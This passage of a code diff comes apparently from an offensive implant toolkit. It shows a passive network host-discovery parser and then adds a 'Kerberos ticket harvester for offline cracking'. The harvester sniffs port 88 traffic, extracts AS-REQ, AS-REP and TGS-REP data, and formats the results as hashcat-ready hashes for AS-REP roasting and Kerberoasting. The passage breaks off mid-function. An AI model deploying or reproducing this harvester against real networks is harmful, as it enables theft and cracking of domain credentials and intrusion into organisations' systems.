elif dst_port == 137 or src_port == 137:
|
||||
self._parse_nbns(ts, src_ip, src_mac, payload)
|
||||
elif dst_port == 1900:
|
||||
self._parse_ssdp(ts, src_ip, src_mac, payload)
|
||||
elif dst_port == 5355 or src_port == 5355:
|
||||
self._parse_llmnr(ts, src_ip, src_mac, payload)
|
||||
|
||||
# Register any UDP source
|
||||
self._update_host(ts, src_ip, mac=src_mac, source="traffic")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Protocol parsers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_arp(self, ts: float, raw: bytes, eth_src_mac: str) -> None:
|
||||
"""Parse ARP request/reply for IP-MAC mapping."""
|
||||
if len(raw) < 42: # 14 eth + 28 ARP
|
||||
return
|
||||
|
||||
arp_data = raw[14:]
|
||||
# ARP: htype(2) ptype(2) hlen(1) plen(1) oper(2) sha(6) spa(4) tha(6) tpa(4)
|
||||
htype, ptype, hlen, plen, oper = struct.unpack("!HHBBH", arp_data[:8])
|
||||
|
||||
if htype != 1 or ptype != 0x0800:
|
||||
return
|
||||
|
||||
sender_mac = ":".join(f"{b:02x}" for b in arp_data[8:14])
|
||||
sender_ip = socket.inet_ntoa(arp_data[14:18])
|
||||
target_ip = socket.inet_ntoa(arp_data[24:28])
|
||||
|
||||
if sender_ip != "0.0.0.0":
|
||||
self._update_host(ts, sender_ip, mac=sender_mac, source="arp")
|
||||
|
||||
def _parse_dhcp(self, ts: float, payload: bytes, src_mac: str) -> None:
|
||||
"""Parse DHCP request/ACK for hostname, vendor class, option 55."""
|
||||
if len(payload) < 240:
|
||||
return
|
||||
|
||||
# DHCP: op(1) htype(1) hlen(1) hops(1) xid(4) secs(2) flags(2)
|
||||
# ciaddr(4) yiaddr(4) siaddr(4) giaddr(4) chaddr(16) ...
|
||||
op = payload[0]
|
||||
yiaddr = socket.inet_ntoa(payload[16:20])
|
||||
chaddr = ":".join(f"{b:02x}" for b in payload[28:34])
|
||||
|
||||
# Parse DHCP options (start at offset 240, after magic cookie)
|
||||
if payload[236:240] != b"\x63\x82\x53\x63":
|
||||
return
|
||||
|
||||
hostname = ""
|
||||
vendor_class = ""
|
||||
option_55 = ""
|
||||
assigned_ip = yiaddr if yiaddr != "0.0.0.0" else ""
|
||||
msg_type = 0
|
||||
|
||||
offset = 240
|
||||
while offset < len(payload):
|
||||
opt = payload[offset]
|
||||
if opt == 255: # End
|
||||
break
|
||||
if opt == 0: # Pad
|
||||
offset += 1
|
||||
continue
|
||||
|
||||
if offset + 1 >= len(payload):
|
||||
break
|
||||
opt_len = payload[offset + 1]
|
||||
offset += 2
|
||||
|
||||
if offset + opt_len > len(payload):
|
||||
break
|
||||
|
||||
opt_data = payload[offset:offset + opt_len]
|
||||
|
||||
if opt == 53 and opt_len == 1: # Message Type
|
||||
msg_type = opt_data[0]
|
||||
elif opt == 12: # Hostname
|
||||
hostname = opt_data.decode("ascii", errors="replace").rstrip("\x00")
|
||||
elif opt == 60: # Vendor Class
|
||||
vendor_class = opt_data.decode("ascii", errors="replace").rstrip("\x00")
|
||||
elif opt == 55: # Parameter Request List
|
||||
option_55 = ",".join(str(b) for b in opt_data)
|
||||
elif opt == 50 and opt_len == 4: # Requested IP
|
||||
if not assigned_ip:
|
||||
assigned_ip = socket.inet_ntoa(opt_data)
|
||||
|
||||
offset += opt_len
|
||||
|
||||
# DHCP fingerprint lookup
|
||||
os_guess = ""
|
||||
if option_55:
|
||||
os_guess = self._dhcp_fp_cache.get(option_55, "")
|
||||
|
||||
if assigned_ip:
|
||||
self._update_host(
|
||||
ts, assigned_ip, mac=chaddr, hostname=hostname,
|
||||
vendor=vendor_class, os_guess=os_guess,
|
||||
dhcp_fingerprint=option_55, source="dhcp",
|
||||
)
|
||||
elif chaddr:
|
||||
# No IP yet, but we can log the MAC
|
||||
pass
|
||||
|
||||
def _parse_mdns(self, ts: float, src_ip: str, src_mac: str,
|
||||
payload: bytes) -> None:
|
||||
"""Parse mDNS for hostname discovery."""
|
||||
if len(payload) < 12:
|
||||
return
|
||||
|
||||
# mDNS uses standard DNS format on port 5353
|
||||
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
|
||||
is_response = bool(flags & 0x8000)
|
||||
|
||||
offset = 12
|
||||
|
||||
# Parse questions
|
||||
for _ in range(qdcount):
|
||||
name, offset = self._read_dns_name(payload, offset)
|
||||
if offset + 4 > len(payload):
|
||||
return
|
||||
offset += 4 # qtype + qclass
|
||||
|
||||
# Parse answers (for responses)
|
||||
if is_response:
|
||||
for _ in range(ancount):
|
||||
if offset >= len(payload):
|
||||
break
|
||||
name, offset = self._read_dns_name(payload, offset)
|
||||
if offset + 10 > len(payload):
|
||||
break
|
||||
rtype, _, ttl, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10])
|
||||
offset += 10
|
||||
if offset + rdlength > len(payload):
|
||||
break
|
||||
|
||||
# Extract hostname from .local names
|
||||
if name and name.endswith(".local"):
|
||||
hostname = name.rsplit(".local", 1)[0]
|
||||
if hostname:
|
||||
self._update_host(ts, src_ip, mac=src_mac,
|
||||
hostname=hostname, source="mdns")
|
||||
|
||||
offset += rdlength
|
||||
else:
|
||||
# For queries, the querier's presence is noted
|
||||
self._update_host(ts, src_ip, mac=src_mac, source="mdns")
|
||||
|
||||
def _parse_nbns(self, ts: float, src_ip: str, src_mac: str,
|
||||
payload: bytes) -> None:
|
||||
"""Parse NetBIOS Name Service queries/responses."""
|
||||
if len(payload) < 12:
|
||||
return
|
||||
|
||||
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
|
||||
is_response = bool(flags & 0x8000)
|
||||
|
||||
offset = 12
|
||||
|
||||
# Parse question names
|
||||
for _ in range(qdcount):
|
||||
if offset >= len(payload):
|
||||
break
|
||||
nbname, offset = self._read_nbns_name(payload, offset)
|
||||
if offset + 4 > len(payload):
|
||||
break
|
||||
offset += 4 # qtype + qclass
|
||||
|
||||
if nbname:
|
||||
self._update_host(ts, src_ip, mac=src_mac,
|
||||
hostname=nbname, source="nbns")
|
||||
|
||||
# Parse answer names
|
||||
if is_response:
|
||||
for _ in range(ancount):
|
||||
if offset >= len(payload):
|
||||
break
|
||||
nbname, offset = self._read_nbns_name(payload, offset)
|
||||
if offset + 10 > len(payload):
|
||||
break
|
||||
_, _, _, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10])
|
||||
offset += 10
|
||||
|
||||
if nbname:
|
||||
self._update_host(ts, src_ip, mac=src_mac,
|
||||
hostname=nbname, source="nbns")
|
||||
|
||||
if offset + rdlength > len(payload):
|
||||
break
|
||||
offset += rdlength
|
||||
|
||||
@staticmethod
|
||||
def _read_nbns_name(data: bytes, offset: int) -> tuple:
|
||||
"""Decode a NetBIOS encoded name. Returns (name, new_offset)."""
|
||||
if offset >= len(data):
|
||||
return "", offset
|
||||
|
||||
length = data[offset]
|
||||
offset += 1
|
||||
|
||||
if length != 32:
|
||||
# Skip non-standard length
|
||||
return "", offset + length + 1 # +1 for trailing null length byte
|
||||
|
||||
if offset + 32 > len(data):
|
||||
return "", offset
|
||||
|
||||
encoded = data[offset:offset + 32]
|
||||
offset += 32
|
||||
|
||||
# Skip trailing length byte
|
||||
if offset < len(data):
|
||||
offset += 1
|
||||
|
||||
# Decode: each pair of bytes encodes one character
|
||||
name_chars = []
|
||||
for i in range(0, 32, 2):
|
||||
ch = ((encoded[i] - ord('A')) << 4) | (encoded[i + 1] - ord('A'))
|
||||
if 32 <= ch < 127:
|
||||
name_chars.append(chr(ch))
|
||||
name = "".join(name_chars).rstrip()
|
||||
|
||||
return name, offset
|
||||
|
||||
def _parse_ssdp(self, ts: float, src_ip: str, src_mac: str,
|
||||
payload: bytes) -> None:
|
||||
"""Parse SSDP/UPnP announcements for device info."""
|
||||
try:
|
||||
text = payload.decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
return
|
||||
|
||||
# SSDP uses HTTP-like headers
|
||||
server = ""
|
||||
usn = ""
|
||||
for line in text.split("\r\n"):
|
||||
lower = line.lower()
|
||||
if lower.startswith("server:"):
|
||||
server = line.split(":", 1)[1].strip()
|
||||
elif lower.startswith("usn:"):
|
||||
usn = line.split(":", 1)[1].strip()
|
||||
|
||||
vendor = server if server else ""
|
||||
hostname = ""
|
||||
if usn:
|
||||
# USN often contains device UUID
|
||||
pass
|
||||
|
||||
self._update_host(ts, src_ip, mac=src_mac, vendor=vendor, source="ssdp")
|
||||
|
||||
def _parse_llmnr(self, ts: float, src_ip: str, src_mac: str,
|
||||
payload: bytes) -> None:
|
||||
"""Parse LLMNR queries for hostname discovery."""
|
||||
if len(payload) < 12:
|
||||
return
|
||||
|
||||
# LLMNR uses DNS message format
|
||||
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
|
||||
is_response = bool(flags & 0x8000)
|
||||
|
||||
offset = 12
|
||||
for _ in range(qdcount):
|
||||
name, offset = self._read_dns_name(payload, offset)
|
||||
if offset + 4 > len(payload):
|
||||
break
|
||||
offset += 4
|
||||
|
||||
if name:
|
||||
if is_response:
|
||||
self._update_host(ts, src_ip, mac=src_mac,
|
||||
hostname=name, source="llmnr")
|
||||
else:
|
||||
# Querier looking for this name
|
||||
self._update_host(ts, src_ip, mac=src_mac, source="llmnr")
|
||||
|
||||
@staticmethod
|
||||
def _read_dns_name(data: bytes, offset: int) -> tuple:
|
||||
"""Read a DNS-format name. Returns (name, new_offset)."""
|
||||
parts = []
|
||||
jumped = False
|
||||
saved_offset = offset
|
||||
jumps = 0
|
||||
|
||||
while offset < len(data):
|
||||
length = data[offset]
|
||||
if length == 0:
|
||||
offset += 1
|
||||
break
|
||||
if (length & 0xC0) == 0xC0:
|
||||
if offset + 1 >= len(data):
|
||||
break
|
||||
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
|
||||
if not jumped:
|
||||
saved_offset = offset + 2
|
||||
jumped = True
|
||||
offset = ptr
|
||||
jumps += 1
|
||||
if jumps > 10:
|
||||
break
|
||||
continue
|
||||
offset += 1
|
||||
if offset + length > len(data):
|
||||
break
|
||||
parts.append(data[offset:offset + length].decode("utf-8", errors="replace"))
|
||||
offset += length
|
||||
|
||||
name = ".".join(parts) if parts else ""
|
||||
return (name, saved_offset if jumped else offset)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Flush hosts to SQLite
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(self.FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_hosts()
|
||||
except Exception:
|
||||
logger.exception("Host flush error")
|
||||
|
||||
def _flush_hosts(self) -> None:
|
||||
"""Write all in-memory hosts to SQLite."""
|
||||
with self._hosts_lock:
|
||||
hosts_snapshot = list(self._hosts.values())
|
||||
|
||||
if not hosts_snapshot or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
for h in hosts_snapshot:
|
||||
self._db_conn.execute(
|
||||
"""INSERT INTO hosts (ip, mac, hostname, vendor, os_guess,
|
||||
dhcp_fingerprint, first_seen, last_seen, source)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(ip) DO UPDATE SET
|
||||
mac = COALESCE(NULLIF(excluded.mac, ''), hosts.mac),
|
||||
hostname = COALESCE(NULLIF(excluded.hostname, ''), hosts.hostname),
|
||||
vendor = COALESCE(NULLIF(excluded.vendor, ''), hosts.vendor),
|
||||
os_guess = COALESCE(NULLIF(excluded.os_guess, ''), hosts.os_guess),
|
||||
dhcp_fingerprint = COALESCE(NULLIF(excluded.dhcp_fingerprint, ''), hosts.dhcp_fingerprint),
|
||||
last_seen = excluded.last_seen,
|
||||
source = excluded.source
|
||||
""",
|
||||
(h["ip"], h["mac"], h["hostname"], h["vendor"],
|
||||
h["os_guess"], h["dhcp_fingerprint"],
|
||||
h["first_seen"], h["last_seen"], h["source"]),
|
||||
)
|
||||
self._db_conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to flush %d hosts", len(hosts_snapshot))
|
||||
@@ -0,0 +1,751 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Passive Kerberos ticket harvester for offline cracking.
|
||||
|
||||
Parses Kerberos traffic on port 88:
|
||||
- AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500)
|
||||
- AS-REP: extract hash for AS-REP roasting (hashcat mode 18200)
|
||||
- TGS-REP: extract hash for Kerberoasting (hashcat mode 13100)
|
||||
|
||||
Also identifies domain controllers, realms, and SPNs.
|
||||
Publishes TICKET_HARVESTED events immediately on capture.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Kerberos message types (application tags)
|
||||
KRB_AS_REQ = 10
|
||||
KRB_AS_REP = 11
|
||||
KRB_TGS_REQ = 12
|
||||
KRB_TGS_REP = 13
|
||||
KRB_ERROR = 30
|
||||
|
||||
# Encryption types
|
||||
ETYPE_AES256_CTS = 18
|
||||
ETYPE_AES128_CTS = 17
|
||||
ETYPE_RC4_HMAC = 23
|
||||
ETYPE_DES_CBC_MD5 = 3
|
||||
|
||||
# Hashcat modes
|
||||
HASHCAT_AS_REQ_ETYPE23 = 7500
|
||||
HASHCAT_AS_REP_ROAST = 18200
|
||||
HASHCAT_KERBEROAST_RC4 = 13100
|
||||
HASHCAT_KERBEROAST_AES256 = 19700
|
||||
HASHCAT_KERBEROAST_AES128 = 19600
|
||||
|
||||
|
||||
class KerberosHarvester(BaseModule):
|
||||
"""Harvest Kerberos tickets from wire for offline cracking."""
|
||||
|
||||
name = "kerberos_harvester"
|
||||
module_type = "passive"
|
||||
priority = 80
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
BATCH_SIZE = 50
|
||||
FLUSH_INTERVAL = 30
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._reader_thread: Optional[threading.Thread] = None
|
||||
self._flusher_thread: Optional[threading.Thread] = None
|
||||
self._buffer = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._db_path = ""
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._total_tickets = 0
|
||||
self._realms = set()
|
||||
self._dcs = set()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._capture_bus = self.config.get("capture_bus")
|
||||
if not self._capture_bus:
|
||||
logger.error("KerberosHarvester requires capture_bus in config")
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
|
||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||
self._init_db()
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="port 88", queue_depth=5000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._reader_thread = threading.Thread(
|
||||
target=self._read_packets, daemon=True, name="sensor-kerb-reader"
|
||||
)
|
||||
self._reader_thread.start()
|
||||
|
||||
self._flusher_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-kerb-flusher"
|
||||
)
|
||||
self._flusher_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("KerberosHarvester started — monitoring port 88")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"KerberosHarvester stopped — %d tickets, %d realms, %d DCs",
|
||||
self._total_tickets, len(self._realms), len(self._dcs),
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_tickets": self._total_tickets,
|
||||
"realms": list(self._realms),
|
||||
"domain_controllers": list(self._dcs),
|
||||
"buffer_size": len(self._buffer),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _init_db(self) -> None:
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS kerberos_tickets (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
dc_ip TEXT NOT NULL,
|
||||
realm TEXT,
|
||||
username TEXT,
|
||||
spn TEXT,
|
||||
ticket_type TEXT NOT NULL,
|
||||
hashcat_mode INTEGER,
|
||||
hash_value TEXT
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username);
|
||||
CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm);
|
||||
CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type);
|
||||
CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp);
|
||||
""")
|
||||
self._db_conn.commit()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet reader
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_packets(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, raw_packet = result
|
||||
try:
|
||||
self._parse_packet(ts, raw_packet)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_packet(self, ts: float, raw: bytes) -> None:
|
||||
"""Parse Ethernet->IP->TCP/UDP->Kerberos."""
|
||||
if len(raw) < 14:
|
||||
return
|
||||
|
||||
eth_type = struct.unpack("!H", raw[12:14])[0]
|
||||
ip_offset = 14
|
||||
if eth_type == 0x8100:
|
||||
if len(raw) < 18:
|
||||
return
|
||||
eth_type = struct.unpack("!H", raw[16:18])[0]
|
||||
ip_offset = 18
|
||||
|
||||
if eth_type != 0x0800:
|
||||
return
|
||||
|
||||
if len(raw) < ip_offset + 20:
|
||||
return
|
||||
|
||||
ip_hdr = raw[ip_offset:]
|
||||
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||
ip_proto = ip_hdr[9]
|
||||
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||
|
||||
if ip_proto == 6: # TCP
|
||||
tcp_offset = ip_offset + ihl
|
||||
if len(raw) < tcp_offset + 20:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
|
||||
if src_port != 88 and dst_port != 88:
|
||||
return
|
||||
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
|
||||
payload = raw[tcp_offset + tcp_hdr_len:]
|
||||
# TCP Kerberos has 4-byte length prefix
|
||||
if len(payload) > 4:
|
||||
payload = payload[4:]
|
||||
elif ip_proto == 17: # UDP
|
||||
udp_offset = ip_offset + ihl
|
||||
if len(raw) < udp_offset + 8:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
|
||||
if src_port != 88 and dst_port != 88:
|
||||
return
|
||||
payload = raw[udp_offset + 8:]
|
||||
else:
|
||||
return
|
||||
|
||||
if len(payload) < 10:
|
||||
return
|
||||
|
||||
# Determine direction: requests go TO port 88, responses come FROM port 88
|
||||
if dst_port == 88:
|
||||
client_ip = src_ip
|
||||
dc_ip = dst_ip
|
||||
else:
|
||||
client_ip = dst_ip
|
||||
dc_ip = src_ip
|
||||
|
||||
self._dcs.add(dc_ip)
|
||||
self._parse_kerberos(ts, client_ip, dc_ip, payload)
|
||||
|
||||
def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str,
|
||||
data: bytes) -> None:
|
||||
"""Parse ASN.1/DER-encoded Kerberos message."""
|
||||
if len(data) < 2:
|
||||
return
|
||||
|
||||
# Kerberos messages use ASN.1 application tags
|
||||
# AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11]
|
||||
# TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13]
|
||||
tag = data[0]
|
||||
if tag & 0xE0 != 0x60: # Application constructed
|
||||
return
|
||||
|
||||
msg_type = tag & 0x1F
|
||||
|
||||
# Read outer length
|
||||
_, offset = self._asn1_length(data, 1)
|
||||
if offset < 0 or offset >= len(data):
|
||||
return
|
||||
|
||||
if msg_type == KRB_AS_REQ:
|
||||
self._parse_as_req(ts, client_ip, dc_ip, data, offset)
|
||||
elif msg_type == KRB_AS_REP:
|
||||
self._parse_as_rep(ts, client_ip, dc_ip, data, offset)
|
||||
elif msg_type == KRB_TGS_REP:
|
||||
self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset)
|
||||
|
||||
def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str,
|
||||
data: bytes, offset: int) -> None:
|
||||
"""Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500)."""
|
||||
realm = ""
|
||||
username = ""
|
||||
enc_timestamp = ""
|
||||
etype = 0
|
||||
|
||||
# Walk the ASN.1 SEQUENCE looking for known context tags
|
||||
# AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4]
|
||||
seq_offset = self._enter_sequence(data, offset)
|
||||
if seq_offset < 0:
|
||||
return
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data) - 2:
|
||||
ctx_tag = data[pos]
|
||||
if ctx_tag & 0xC0 != 0xA0: # Not context-specific constructed
|
||||
break
|
||||
|
||||
ctx_num = ctx_tag & 0x1F
|
||||
length, next_pos = self._asn1_length(data, pos + 1)
|
||||
if length < 0:
|
||||
break
|
||||
|
||||
ctx_data = data[next_pos:next_pos + length]
|
||||
|
||||
if ctx_num == 3: # padata
|
||||
# Look for PA-ENC-TIMESTAMP (type 2)
|
||||
enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data)
|
||||
if enc_ts:
|
||||
enc_timestamp = enc_ts
|
||||
etype = found_etype
|
||||
|
||||
elif ctx_num == 4: # req-body (KDC-REQ-BODY)
|
||||
r, u = self._extract_req_body_info(ctx_data)
|
||||
if r:
|
||||
realm = r
|
||||
if u:
|
||||
username = u
|
||||
|
||||
pos = next_pos + length
|
||||
|
||||
if realm:
|
||||
self._realms.add(realm)
|
||||
|
||||
# If we got an encrypted timestamp, emit for hashcat 7500
|
||||
if enc_timestamp and username:
|
||||
hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500
|
||||
hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}"
|
||||
|
||||
self._emit_ticket(
|
||||
ts, client_ip, dc_ip, realm, username, "",
|
||||
"AS-REQ", hashcat_mode, hash_value,
|
||||
)
|
||||
|
||||
def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str,
|
||||
data: bytes, offset: int) -> None:
|
||||
"""Parse AS-REP for AS-REP roasting hash (mode 18200)."""
|
||||
realm = ""
|
||||
username = ""
|
||||
enc_part = ""
|
||||
etype = 0
|
||||
|
||||
seq_offset = self._enter_sequence(data, offset)
|
||||
if seq_offset < 0:
|
||||
return
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data) - 2:
|
||||
ctx_tag = data[pos]
|
||||
if ctx_tag & 0xC0 != 0xA0:
|
||||
break
|
||||
|
||||
ctx_num = ctx_tag & 0x1F
|
||||
length, next_pos = self._asn1_length(data, pos + 1)
|
||||
if length < 0:
|
||||
break
|
||||
|
||||
ctx_data = data[next_pos:next_pos + length]
|
||||
|
||||
if ctx_num == 3: # crealm
|
||||
realm = self._read_string(ctx_data)
|
||||
elif ctx_num == 4: # cname
|
||||
username = self._extract_principal_name(ctx_data)
|
||||
elif ctx_num == 6: # enc-part (EncryptedData)
|
||||
etype, enc_part = self._extract_encrypted_data(ctx_data)
|
||||
|
||||
pos = next_pos + length
|
||||
|
||||
if realm:
|
||||
self._realms.add(realm)
|
||||
|
||||
if enc_part and username:
|
||||
if etype == ETYPE_RC4_HMAC:
|
||||
hashcat_mode = HASHCAT_AS_REP_ROAST
|
||||
else:
|
||||
hashcat_mode = HASHCAT_AS_REP_ROAST
|
||||
hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}"
|
||||
|
||||
self._emit_ticket(
|
||||
ts, client_ip, dc_ip, realm, username, "",
|
||||
"AS-REP", hashcat_mode, hash_value,
|
||||
)
|
||||
|
||||
def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str,
|
||||
data: bytes, offset: int) -> None:
|
||||
"""Parse TGS-REP for Kerberoasting hash (mode 13100)."""
|
||||
realm = ""
|
||||
username = ""
|
||||
spn = ""
|
||||
enc_part = ""
|
||||
etype = 0
|
||||
|
||||
seq_offset = self._enter_sequence(data, offset)
|
||||
if seq_offset < 0:
|
||||
return
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data) - 2:
|
||||
ctx_tag = data[pos]
|
||||
if ctx_tag & 0xC0 != 0xA0:
|
||||
break
|
||||
|
||||
ctx_num = ctx_tag & 0x1F
|
||||
length, next_pos = self._asn1_length(data, pos + 1)
|
||||
if length < 0:
|
||||
break
|
||||
|
||||
ctx_data = data[next_pos:next_pos + length]
|
||||
|
||||
if ctx_num == 3: # crealm
|
||||
realm = self._read_string(ctx_data)
|
||||
elif ctx_num == 4: # cname
|
||||
username = self._extract_principal_name(ctx_data)
|
||||
elif ctx_num == 5: # ticket — contains the SPN and enc-part
|
||||
t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data)
|
||||
if t_spn:
|
||||
spn = t_spn
|
||||
if t_enc:
|
||||
enc_part = t_enc
|
||||
etype = t_etype
|
||||
|
||||
pos = next_pos + length
|
||||
|
||||
if realm:
|
||||
self._realms.add(realm)
|
||||
|
||||
if enc_part and (username or spn):
|
||||
if etype == ETYPE_RC4_HMAC:
|
||||
hashcat_mode = HASHCAT_KERBEROAST_RC4
|
||||
elif etype == ETYPE_AES256_CTS:
|
||||
hashcat_mode = HASHCAT_KERBEROAST_AES256
|
||||
elif etype == ETYPE_AES128_CTS:
|
||||
hashcat_mode = HASHCAT_KERBEROAST_AES128
|
||||
else:
|
||||
hashcat_mode = HASHCAT_KERBEROAST_RC4
|
||||
|
||||
hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}"
|
||||
|
||||
self._emit_ticket(
|
||||
ts, client_ip, dc_ip, realm, username, spn,
|
||||
"TGS-REP", hashcat_mode, hash_value,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# ASN.1 helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _asn1_length(data: bytes, offset: int) -> tuple:
|
||||
"""Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset)."""
|
||||
if offset >= len(data):
|
||||
return -1, offset
|
||||
first = data[offset]
|
||||
if first & 0x80 == 0:
|
||||
return first, offset + 1
|
||||
num_bytes = first & 0x7F
|
||||
if num_bytes == 0 or offset + 1 + num_bytes > len(data):
|
||||
return -1, offset
|
||||
length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big")
|
||||
return length, offset + 1 + num_bytes
|
||||
|
||||
def _enter_sequence(self, data: bytes, offset: int) -> int:
|
||||
"""Skip into a SEQUENCE tag and return offset to first element, or -1."""
|
||||
if offset >= len(data) or data[offset] != 0x30:
|
||||
return -1
|
||||
_, new_offset = self._asn1_length(data, offset + 1)
|
||||
return new_offset
|
||||
|
||||
def _read_string(self, data: bytes) -> str:
|
||||
"""Read a GeneralString/UTF8String from ASN.1 data."""
|
||||
if len(data) < 2:
|
||||
return ""
|
||||
# Skip tag byte
|
||||
tag = data[0]
|
||||
length, offset = self._asn1_length(data, 1)
|
||||
if length < 0 or offset + length > len(data):
|
||||
return ""
|
||||
return data[offset:offset + length].decode("utf-8", errors="replace")
|
||||
|
||||
def _extract_principal_name(self, data: bytes) -> str:
|
||||
"""Extract principal name from a PrincipalName SEQUENCE."""
|
||||
# PrincipalName ::= SEQUENCE { name-type[0], name-string[1] }
|
||||
seq_offset = self._enter_sequence(data, 0)
|
||||
if seq_offset < 0:
|
||||
return ""
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data) - 2:
|
||||
ctx_tag = data[pos]
|
||||
if ctx_tag & 0xC0 != 0xA0:
|
||||
break
|
||||
ctx_num = ctx_tag & 0x1F
|
||||
length, next_pos = self._asn1_length(data, pos + 1)
|
||||
if length < 0:
|
||||
break
|
||||
|
||||
if ctx_num == 1: # name-string SEQUENCE OF GeneralString
|
||||
name_data = data[next_pos:next_pos + length]
|
||||
